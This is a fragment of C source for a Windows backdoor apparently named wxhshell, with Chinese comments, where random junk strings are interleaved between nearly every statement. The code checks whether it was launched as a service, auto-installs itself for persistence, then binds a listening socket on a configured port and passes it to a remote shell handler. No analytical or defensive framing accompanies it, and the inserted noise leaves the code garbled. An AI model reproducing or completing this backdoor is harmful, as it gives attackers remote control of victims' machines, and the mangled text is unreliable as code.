NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cy3ww}) @ RR\lZ if (!NtQueryInformationProcess) return 0; R9dP ,<2 q(]f]Vl|0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cw1(5 if(!hProcess) return 0; 3{J.xWB@: PnWD}'0V if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bku'H
IsYP0(L CloseHandle(hProcess); 3B9nP._ YB!!/ SX4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E&2tBrAq if(hProcess==NULL) return 0; 3]}'TA`v (aKZ5>>cN HMODULE hMod; `F1dyf!p< char procName[255]; oh\,OW unsigned long cbNeeded; -CBD|fo[h !oMt_k X if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uEd,rEB> W"sr$K2m| CloseHandle(hProcess); b~Z=:'m8 D s-` if(strstr(procName,"services")) return 1; // 以服务启动 y4F^|kS) [ gg]~2f return 0; // 注册表启动 aWvd`qA9r } moO_-@i kL7^$ // 主模块 ?SX_gYe9 int StartWxhshell(LPSTR lpCmdLine) 1r4,XSk { 981!2* SOCKET wsl; EF;,Gjh5p BOOL val=TRUE; 31XU7A int port=0; 1D1b"o struct sockaddr_in door; N/{?7sG& -<oZ)OfU if(wscfg.ws_autoins) Install(); 7:o+iP4 6 _Y-$}KwY! port=atoi(lpCmdLine); h([0,:\ ]h@{6N'oNS if(port<=0) port=wscfg.ws_port;
KOSyh<& 0|C[-ppr WSADATA data; 7%CIt?Z% if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `"Dy%&U Ak=UtDN[ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
5-'vB setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L>nO:`>h door.sin_family = AF_INET; #v8Cy|I door.sin_addr.s_addr = inet_addr("127.0.0.1"); 79tJV door.sin_port = htons(port); yiT{+;g^ |R~;&x: if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ryEvmWYu closesocket(wsl); t<lyg0f return 1; 5Rs?CVVb } r<(kLpOH% E^syrEz if(listen(wsl,2) == INVALID_SOCKET) { Ekf2NT closesocket(wsl); 4A~)b"j5 return 1; T 46{*( } V_]-`?S Wxhshell(wsl); oNSz& |